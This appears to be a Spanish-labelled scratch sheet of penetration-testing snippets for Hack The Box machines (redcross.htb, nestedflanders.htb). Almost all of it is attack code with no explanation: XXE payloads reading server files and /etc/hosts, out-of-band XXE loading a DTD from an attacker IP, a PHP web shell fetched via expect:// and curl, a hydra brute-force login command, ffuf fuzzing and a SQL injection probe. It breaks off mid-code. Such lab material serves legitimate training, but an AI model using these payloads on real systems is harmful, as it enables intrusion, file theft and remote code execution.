CÓDIGO METODOLOGÍA

<!DOCTYPE email [

<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">

]>

[!bash!]$ echo '<?php system($\_REQUEST["cmd"]);?>' > shell.php

[!bash!]$ sudo python3 -m http.server 80

<!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR\_IP/shell.php'">

<!DOCTYPE email [

<!ENTITY begin "<![CDATA[">

<!ENTITY file SYSTEM "file:///var/www/html/submitDetails.php">

<!ENTITY end "]]>">

<!ENTITY joined "&begin;&file;&end;">

]>

<!DOCTYPE email [

<!ENTITY % begin "<![CDATA["> <!-- prepend the beginning of the CDATA tag -->

<!ENTITY % file SYSTEM "file:///var/www/html/file.php"> <!-- reference external file -->

<!ENTITY % end "]]>"> <!-- append the end of the CDATA tag -->

<!ENTITY % archivo SYSTEM "http://OUR\_IP:8000/xd.dtd"> <!-- reference our external DTD -->

%archivo;

]>

<!ENTITY % file SYSTEM "file:///etc/hosts">

<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">

<!DOCTYPE email [

<!ENTITY % remote SYSTEM "http://ip:8000/xd.dtd">

%remote;

%error;

]>

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE email [

<!ENTITY % remote SYSTEM "http://OUR\_IP:8000/xxe.dtd">

%remote;

%oob;

]>

<root>&content;</root>

hydra -L names.txt -P rockyou.txt intra.redcross.htb http-post-form "/pages/actions.php:user=^USER^&pass=^PASS^&action=login:F=not logged in

CODIGO EVALUACIÓN

ffuf -w Descargas/subdomains-top1million-5000.txt:FUZZ -u https://FUZZ.nestedflanders.htb

ffuf -w Descargas/web-extensions.txt:FUZZ -u https://www.nestedflanders.htb/indexFUZZ

ffuf -w Descargas/directory-list-2.3-small.txt:FUZZ -u https://www.nestedflanders.htb/FUZZ.php

if ( (array\_key\_exists('id', $\_GET)) && (intval($\_GET['id']) == $\_GET['id']) && (in\_array(intval($\_GET['id']),$valid\_ids)) ) {

$sql = "SELECT name FROM idname where id = '".$\_GET['id']."'";

}

<?php

$valid\_ids = array (25,465,587);

$valid\_ids = array(25, 465, 587);

$url = "www.nestedflanders.htb/index.php?id=465' -- -”;

$query\_string = parse\_url($url, PHP\_URL\_QUERY);

parse\_str($query\_string, $query\_params);

if ( (array\_key\_exists('id', $query\_params)) && (intval("465' -- -"== "465' -- -")) && (in\_array(intval("465' --"),$valid\_ids))) {

print "henlo";

}

?>

$result = $conn->query($sql);

if ($result->num\_rows > 0) {

while($row = $result->fetch\_assoc()) {

$ret = $row['name'];

}

} else {